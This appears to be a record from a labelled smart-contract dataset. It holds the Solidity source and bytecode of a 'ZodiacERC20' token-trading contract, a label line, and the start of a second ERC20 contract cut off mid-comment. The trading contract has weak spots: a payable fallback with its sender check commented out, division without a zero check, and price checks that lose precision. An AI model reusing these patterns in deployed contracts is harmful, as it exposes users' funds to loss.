pragma solidity ^0.4.24; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } library SafeMath { function safeMul(uint a, uint b) internal pure returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal pure returns (uint256) { uint c = a / b; return c; } function safeSub(uint a, uint b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint256) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint256) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint256) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title BytesToTypes * @dev The BytesToTypes contract converts the memory byte arrays to the standard solidity types */ contract BytesToTypes { function bytesToAddress(uint _offst, bytes memory _input) internal pure returns (address _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToBool(uint _offst, bytes memory _input) internal pure returns (bool _output) { uint8 x; assembly { x := mload(add(_input, _offst)) } x==0 ? _output = false : _output = true; } function getStringSize(uint _offst, bytes memory _input) internal pure returns(uint size){ assembly{ size := mload(add(_input,_offst)) let chunk_count := add(div(size,32),1) // chunk_count = size/32 + 1 if gt(mod(size,32),0) {// if size%32 > 0 chunk_count := add(chunk_count,1) } size := mul(chunk_count,32)// first 32 bytes reseves for size in strings } } function bytesToString(uint _offst, bytes memory _input, bytes memory _output) internal { uint size = 32; assembly { let loop_index:= 0 let chunk_count size := mload(add(_input,_offst)) chunk_count := add(div(size,32),1) // chunk_count = size/32 + 1 if gt(mod(size,32),0) { chunk_count := add(chunk_count,1) // chunk_count++ } loop: mstore(add(_output,mul(loop_index,32)),mload(add(_input,_offst))) _offst := sub(_offst,32) // _offst -= 32 loop_index := add(loop_index,1) jumpi(loop , lt(loop_index , chunk_count)) } } function slice(bytes _bytes, uint _start, uint _length) internal pure returns (bytes) { require(_bytes.length >= (_start + _length)); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function bytesToBytes32(uint _offst, bytes memory _input) internal pure returns (bytes32 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt8(uint _offst, bytes memory _input) internal pure returns (int8 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt16(uint _offst, bytes memory _input) internal pure returns (int16 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt24(uint _offst, bytes memory _input) internal pure returns (int24 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt32(uint _offst, bytes memory _input) internal pure returns (int32 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt40(uint _offst, bytes memory _input) internal pure returns (int40 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt48(uint _offst, bytes memory _input) internal pure returns (int48 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt56(uint _offst, bytes memory _input) internal pure returns (int56 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt64(uint _offst, bytes memory _input) internal pure returns (int64 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt72(uint _offst, bytes memory _input) internal pure returns (int72 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt80(uint _offst, bytes memory _input) internal pure returns (int80 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt88(uint _offst, bytes memory _input) internal pure returns (int88 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt96(uint _offst, bytes memory _input) internal pure returns (int96 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt104(uint _offst, bytes memory _input) internal pure returns (int104 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt112(uint _offst, bytes memory _input) internal pure returns (int112 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt120(uint _offst, bytes memory _input) internal pure returns (int120 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt128(uint _offst, bytes memory _input) internal pure returns (int128 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt136(uint _offst, bytes memory _input) internal pure returns (int136 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt144(uint _offst, bytes memory _input) internal pure returns (int144 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt152(uint _offst, bytes memory _input) internal pure returns (int152 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt160(uint _offst, bytes memory _input) internal pure returns (int160 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt168(uint _offst, bytes memory _input) internal pure returns (int168 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt176(uint _offst, bytes memory _input) internal pure returns (int176 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt184(uint _offst, bytes memory _input) internal pure returns (int184 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt192(uint _offst, bytes memory _input) internal pure returns (int192 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt200(uint _offst, bytes memory _input) internal pure returns (int200 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt208(uint _offst, bytes memory _input) internal pure returns (int208 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt216(uint _offst, bytes memory _input) internal pure returns (int216 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt224(uint _offst, bytes memory _input) internal pure returns (int224 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt232(uint _offst, bytes memory _input) internal pure returns (int232 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt240(uint _offst, bytes memory _input) internal pure returns (int240 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt248(uint _offst, bytes memory _input) internal pure returns (int248 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToInt256(uint _offst, bytes memory _input) internal pure returns (int256 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint8(uint _offst, bytes memory _input) internal pure returns (uint8 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint16(uint _offst, bytes memory _input) internal pure returns (uint16 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint24(uint _offst, bytes memory _input) internal pure returns (uint24 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint32(uint _offst, bytes memory _input) internal pure returns (uint32 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint40(uint _offst, bytes memory _input) internal pure returns (uint40 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint48(uint _offst, bytes memory _input) internal pure returns (uint48 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint56(uint _offst, bytes memory _input) internal pure returns (uint56 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint64(uint _offst, bytes memory _input) internal pure returns (uint64 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint72(uint _offst, bytes memory _input) internal pure returns (uint72 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint80(uint _offst, bytes memory _input) internal pure returns (uint80 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint88(uint _offst, bytes memory _input) internal pure returns (uint88 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint96(uint _offst, bytes memory _input) internal pure returns (uint96 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint104(uint _offst, bytes memory _input) internal pure returns (uint104 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint112(uint _offst, bytes memory _input) internal pure returns (uint112 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint120(uint _offst, bytes memory _input) internal pure returns (uint120 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint128(uint _offst, bytes memory _input) internal pure returns (uint128 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint136(uint _offst, bytes memory _input) internal pure returns (uint136 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint144(uint _offst, bytes memory _input) internal pure returns (uint144 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint152(uint _offst, bytes memory _input) internal pure returns (uint152 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint160(uint _offst, bytes memory _input) internal pure returns (uint160 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint168(uint _offst, bytes memory _input) internal pure returns (uint168 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint176(uint _offst, bytes memory _input) internal pure returns (uint176 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint184(uint _offst, bytes memory _input) internal pure returns (uint184 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint192(uint _offst, bytes memory _input) internal pure returns (uint192 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint200(uint _offst, bytes memory _input) internal pure returns (uint200 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint208(uint _offst, bytes memory _input) internal pure returns (uint208 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint216(uint _offst, bytes memory _input) internal pure returns (uint216 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint224(uint _offst, bytes memory _input) internal pure returns (uint224 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint232(uint _offst, bytes memory _input) internal pure returns (uint232 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint240(uint _offst, bytes memory _input) internal pure returns (uint240 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint248(uint _offst, bytes memory _input) internal pure returns (uint248 _output) { assembly { _output := mload(add(_input, _offst)) } } function bytesToUint256(uint _offst, bytes memory _input) internal pure returns (uint256 _output) { assembly { _output := mload(add(_input, _offst)) } } } interface ITradeable { /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) external view returns (uint balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint _value) external returns (bool success); /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint _value) external returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint _value) external returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) external view returns (uint remaining); } contract ITrader { function getDataLength( ) public pure returns (uint256); function getProtocol( ) public pure returns (uint8); function getAvailableVolume( bytes orderData ) public view returns(uint); function isExpired( bytes orderData ) public view returns (bool); function trade( bool isSell, bytes orderData, uint volume, uint volumeEth ) public; function getFillVolumes( bool isSell, bytes orderData, uint volume, uint volumeEth ) public view returns(uint, uint); } contract ITraders { /// @dev Add a valid trader address. Only owner. function addTrader(uint8 id, ITrader trader) public; /// @dev Remove a trader address. Only owner. function removeTrader(uint8 id) public; /// @dev Get trader by id. function getTrader(uint8 id) public view returns(ITrader); /// @dev Check if an address is a valid trader. function isValidTraderAddress(address addr) public view returns(bool); } contract Members is Ownable { mapping(address => bool) public members; // Mappings of addresses of allowed addresses modifier onlyMembers() { require(isValidMember(msg.sender)); _; } /// @dev Check if an address is a valid member. function isValidMember(address _member) public view returns(bool) { return members[_member]; } /// @dev Add a valid member address. Only owner. function addMember(address _member) public onlyOwner { members[_member] = true; } /// @dev Remove a member address. Only owner. function removeMember(address _member) public onlyOwner { delete members[_member]; } } contract ZodiacERC20 is Ownable, BytesToTypes { ITraders public traders; // Smart contract that hold the list of valid traders bool public tradingEnabled; // Switch to enable or disable the contract uint feePercentage; event Sell( address account, address destinationAddr, address traedeable, uint volume, uint volumeEth, uint volumeEffective, uint volumeEthEffective ); event Buy( address account, address destinationAddr, address traedeable, uint volume, uint volumeEth, uint volumeEffective, uint volumeEthEffective ); function ZodiacERC20(ITraders _traders, uint _feePercentage) public { traders = _traders; tradingEnabled = true; feePercentage = _feePercentage; } /// @dev Only accepts payment from smart contract traders. function() public payable { // require(traders.isValidTraderAddress(msg.sender)); } function changeFeePercentage(uint _feePercentage) public onlyOwner { feePercentage = _feePercentage; } /// @dev Setter for traders smart contract (Only owner) function changeTraders(ITraders _traders) public onlyOwner { traders = _traders; } /// @dev Enable/Disable trading with smart contract (Only owner) function changeTradingEnabled(bool enabled) public onlyOwner { tradingEnabled = enabled; } /// @dev Buy a token. function buy( ITradeable tradeable, uint volume, bytes ordersData, address destinationAddr, address affiliate ) external payable { require(tradingEnabled); // Execute the trade (at most fullfilling volume) trade( false, tradeable, volume, ordersData, affiliate ); // Since our balance before trade was 0. What we bought is our current balance. uint volumeEffective = tradeable.balanceOf(this); // We make sure that something was traded require(volumeEffective > 0); // Used ethers are: balance_before - balance_after. // And since before call balance=0; then balance_before = msg.value uint volumeEthEffective = SafeMath.safeSub(msg.value, address(this).balance); // IMPORTANT: Check that: effective_price <= agreed_price (guarantee a good deal for the buyer) require( SafeMath.safeDiv(volumeEthEffective, volumeEffective) <= SafeMath.safeDiv(msg.value, volume) ); // Return remaining ethers if(address(this).balance > 0) { destinationAddr.transfer(address(this).balance); } // Send the tokens transferTradeable(tradeable, destinationAddr, volumeEffective); emit Buy(msg.sender, destinationAddr, tradeable, volume, msg.value, volumeEffective, volumeEthEffective); } /// @dev sell a token. function sell( ITradeable tradeable, uint volume, uint volumeEth, bytes ordersData, address destinationAddr, address affiliate ) external { require(tradingEnabled); // We transfer to ouselves the user's trading volume, to operate on it // note: Our balance is 0 before this require(tradeable.transferFrom(msg.sender, this, volume)); // Execute the trade (at most fullfilling volume) trade( true, tradeable, volume, ordersData, affiliate ); // Check how much we traded. Our balance = volume - tradedVolume // then: tradedVolume = volume - balance uint volumeEffective = SafeMath.safeSub(volume, tradeable.balanceOf(this)); // We make sure that something was traded require(volumeEffective > 0); // Collects service fee uint volumeEthEffective = collectSellFee(); // IMPORTANT: Check that: effective_price >= agreed_price (guarantee a good deal for the seller) require( SafeMath.safeDiv(volumeEthEffective, volumeEffective) >= SafeMath.safeDiv(volumeEth, volume) ); // Return remaining volume if (volumeEffective < volume) { transferTradeable(tradeable, destinationAddr, SafeMath.safeSub(volume, volumeEffective)); } // Send ethers obtained destinationAddr.transfer(volumeEthEffective); emit Sell(msg.sender, destinationAddr, tradeable, volume, volumeEth, volumeEffective, volumeEthEffective); } /// @dev Trade buy or sell orders. function trade( bool isSell, ITradeable tradeable, uint volume, bytes ordersData, address affiliate ) internal { uint remainingVolume = volume; uint offset = ordersData.length; while(offset > 0 && remainingVolume > 0) { //Get the trader uint8 protocolId = bytesToUint8(offset, ordersData); ITrader trader = traders.getTrader(protocolId); require(trader != address(0)); //Get the order data uint dataLength = trader.getDataLength(); offset = SafeMath.safeSub(offset, dataLength); bytes memory orderData = slice(ordersData, offset, dataLength); //Fill order remainingVolume = fillOrder( isSell, tradeable, trader, remainingVolume, orderData, affiliate ); } } /// @dev Fills a buy order. function fillOrder( bool isSell, ITradeable tradeable, ITrader trader, uint remaining, bytes memory orderData, address affiliate ) internal returns(uint) { //Checks that there is enoughh amount to execute the trade uint volume; uint volumeEth; (volume, volumeEth) = trader.getFillVolumes( isSell, orderData, remaining, address(this).balance ); if(volume > 0) { if(isSell) { //Approve available amount of token to trader require(tradeable.approve(trader, volume)); } else { //Collects service fee //TODO: transfer fees after all iteration //volumeEth = collectBuyFee(volumeEth, affiliate); volumeEth = collectFee(volumeEth); address(trader).transfer(volumeEth); } //Call trader to trade orders trader.trade( isSell, orderData, volume, volumeEth ); } return SafeMath.safeSub(remaining, volume); } /// @dev Transfer tradeables to user account. function transferTradeable(ITradeable tradeable, address account, uint amount) internal { require(tradeable.transfer(account, amount)); } // @dev Collect service/affiliate fee for a buy function collectFee(uint ethers) internal returns(uint) { uint fee = SafeMath.safeMul(ethers, feePercentage) / (1 ether); owner.transfer(fee); uint remaining = SafeMath.safeSub(ethers, fee); return remaining; } // @dev Collect service/affiliate fee for a sell function collectSellFee() internal returns(uint) { uint fee = SafeMath.safeMul(address(this).balance, feePercentage) / (1 ether); owner.transfer(fee); return address(this).balance; } }
0x60806040526004361061007f5763ffffffff60e060020a60003504166316925ee28114610081578063321a9ab91461009b5780634ada218b146100cc5780638da5cb5b146100f5578063ce68736114610126578063ddbdf24214610168578063eeca2d171461017d578063f2fde38b1461019e578063fae14192146101bf575b005b34801561008d57600080fd5b5061007f60043515156101d7565b61007f600160a060020a0360048035821691602480359260443591820192910135906064358116906084351661022e565b3480156100d857600080fd5b506100e161041e565b604080519115158252519081900360200190f35b34801561010157600080fd5b5061010a61043f565b60408051600160a060020a039092168252519081900360200190f35b34801561013257600080fd5b5061007f60048035600160a060020a03908116916024803592604435926064359283019201359060843581169060a4351661044e565b34801561017457600080fd5b5061010a6106f3565b34801561018957600080fd5b5061007f600160a060020a0360043516610702565b3480156101aa57600080fd5b5061007f600160a060020a0360043516610748565b3480156101cb57600080fd5b5061007f60043561079a565b600054600160a060020a031633146101ee57600080fd5b60018054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b600154600090819074010000000000000000000000000000000000000000900460ff16151561025c57600080fd5b61029b6000898989898080601f016020809104026020016040519081016040528093929190818152602001838380828437508c94506107b69350505050565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038a16916370a082319160248083019260209291908290030181600087803b1580156102fc57600080fd5b505af1158015610310573d6000803e3d6000fd5b505050506040513d602081101561032657600080fd5b505191506000821161033757600080fd5b610342343031610936565b905061034e3488610948565b6103588284610948565b111561036357600080fd5b6000303111156103a557604051600160a060020a03851690303180156108fc02916000818181858888f193505050501580156103a3573d6000803e3d6000fd5b505b6103b088858461095f565b60408051338152600160a060020a0380871660208301528a16818301526060810189905234608082015260a0810184905260c0810183905290517f4c5de51a00fa52b3d883d5627b5d614583a2f5eec10c63c6efe8a6f1f68b11e39181900360e00190a15050505050505050565b60015474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031681565b600154600090819074010000000000000000000000000000000000000000900460ff16151561047c57600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018a90529051600160a060020a038b16916323b872dd9160648083019260209291908290030181600087803b1580156104ea57600080fd5b505af11580156104fe573d6000803e3d6000fd5b505050506040513d602081101561051457600080fd5b5051151561052157600080fd5b61056060018a8a89898080601f016020809104026020016040519081016040528093929190818152602001838380828437508c94506107b69350505050565b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516105f8918a91600160a060020a038d16916370a082319160248083019260209291908290030181600087803b1580156105c757600080fd5b505af11580156105db573d6000803e3d6000fd5b505050506040513d60208110156105f157600080fd5b5051610936565b91506000821161060757600080fd5b61060f6109fe565b905061061b8789610948565b6106258284610948565b101561063057600080fd5b8782101561064c5761064c89856106478b86610936565b61095f565b604051600160a060020a0385169082156108fc029083906000818181858888f19350505050158015610682573d6000803e3d6000fd5b5060408051338152600160a060020a0380871660208301528b1681830152606081018a90526080810189905260a0810184905260c0810183905290517f2182e4add8250752f872eda9b48eab6b84aa81f99ee69c557acfbf103828083c9181900360e00190a1505050505050505050565b600154600160a060020a031681565b600054600160a060020a0316331461071957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461075f57600080fd5b600160a060020a03811615610797576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600054600160a060020a031633146107b157600080fd5b600255565b815183906000808060605b6000851180156107d15750600086115b15610929576107e08589610a72565b600154604080517fcb56e40b00000000000000000000000000000000000000000000000000000000815260ff841660048201529051929650600160a060020a039091169163cb56e40b916024808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50519250600160a060020a038316151561088f57600080fd5b82600160a060020a0316633da767886040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156108cd57600080fd5b505af11580156108e1573d6000803e3d6000fd5b505050506040513d60208110156108f757600080fd5b505191506109058583610936565b9450610912888684610a77565b90506109228b8b8589858c610af8565b95506107c1565b5050505050505050505050565b60008282111561094257fe5b50900390565b600080828481151561095657fe5b04949350505050565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156109c257600080fd5b505af11580156109d6573d6000803e3d6000fd5b505050506040513d60208110156109ec57600080fd5b505115156109f957600080fd5b505050565b600080670de0b6b3a7640000610a2030600160a060020a031631600254610dee565b811515610a2957fe5b60008054604051939092049350600160a060020a039091169183156108fc0291849190818181858888f19350505050158015610a69573d6000803e3d6000fd5b50303191505090565b015190565b606080828401855110151515610a8c57600080fd5b82158015610aa557604051915060208201604052610aef565b6040519150601f8416801560200281840101858101878315602002848b0101015b81831015610ade578051835260209283019201610ac6565b5050858452601f01601f1916604052505b50949350505050565b600080600086600160a060020a031663c228bcc68a878930600160a060020a0316316040518563ffffffff1660e060020a028152600401808515151515815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015610b7f578181015183820152602001610b67565b50505050905090810190601f168015610bac5780820380516001836020036101000a031916815260200191505b50955050505050506040805180830381600087803b158015610bcd57600080fd5b505af1158015610be1573d6000803e3d6000fd5b505050506040513d6040811015610bf757600080fd5b50805160209091015190925090506000821115610dd7578815610cb35787600160a060020a031663095ea7b388846040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610c7757600080fd5b505af1158015610c8b573d6000803e3d6000fd5b505050506040513d6020811015610ca157600080fd5b50511515610cae57600080fd5b610cf7565b610cbc81610e19565b604051909150600160a060020a0388169082156108fc029083906000818181858888f19350505050158015610cf5573d6000803e3d6000fd5b505b86600160a060020a031663e244054a8a8785856040518563ffffffff1660e060020a028152600401808515151515815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015610d6f578181015183820152602001610d57565b50505050905090810190601f168015610d9c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610dbe57600080fd5b505af1158015610dd2573d6000803e3d6000fd5b505050505b610de18683610936565b9998505050505050505050565b6000828202831580610e0a5750828482811515610e0757fe5b04145b1515610e1257fe5b9392505050565b6000806000670de0b6b3a7640000610e3385600254610dee565b811515610e3c57fe5b60008054604051939092049450600160a060020a039091169184156108fc0291859190818181858888f19350505050158015610e7c573d6000803e3d6000fd5b50610e878483610936565b9493505050505600a165627a7a723058206f37f45b3b208d5258344f2a7e6f96deb089597dee0bfaab5eef3392489e0b0a0029
[ 1, 11 ]
0xf239b3c52769b7b61d201f68642a9881f87b4f42
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the substraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtsraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According 